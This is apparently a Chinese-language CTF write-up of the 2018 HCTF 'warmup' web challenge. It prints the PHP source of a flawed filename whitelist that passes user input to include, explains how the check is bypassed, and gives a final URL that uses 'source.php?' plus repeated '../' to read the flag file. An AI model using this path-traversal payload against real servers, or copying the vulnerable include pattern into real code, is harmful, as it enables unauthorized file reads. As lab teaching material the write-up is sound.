2018-HCTF-Web-warmup

拿到题目,点开是一个巨大的滑稽脸(如下)(6)

https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg

查看源代码,发现注释里有东西

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

根据注释找到source.php,得到源代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    } 

白名单是source和hint,于是再找到hint.php,告诉我们一行字:

flag not here, and flag in ffffllllaaaagggg

大概是最后flag所在的文件名。

继续阅读代码得知:

  • 首先file参数必须不为空且为字符串
  • 如果file参数内容就是source.php或者hint.php则直接返回true
  • 检查file参数中第一个问号前的内容,若为白名单,则直接返回true
  • 将file参数decode一下,再进行上一条的检查

也就是说,要以白名单文件为开头,输入ffffllllaaaagggg的路径。

本题的核心:../可以无视前面的内容,且需要两个../抵消前面的内容

神奇的东西。

所以就没别的事情了,直接在问号后面跟上若干个../,发现ffffllllaaaagggg在根目录,即url为:

http://challenge-5ce8da83287ac27b.sandbox.ctfhub.com:10800/source.php?file=source.php?../../../../../../../../ffffllllaaaagggg
0%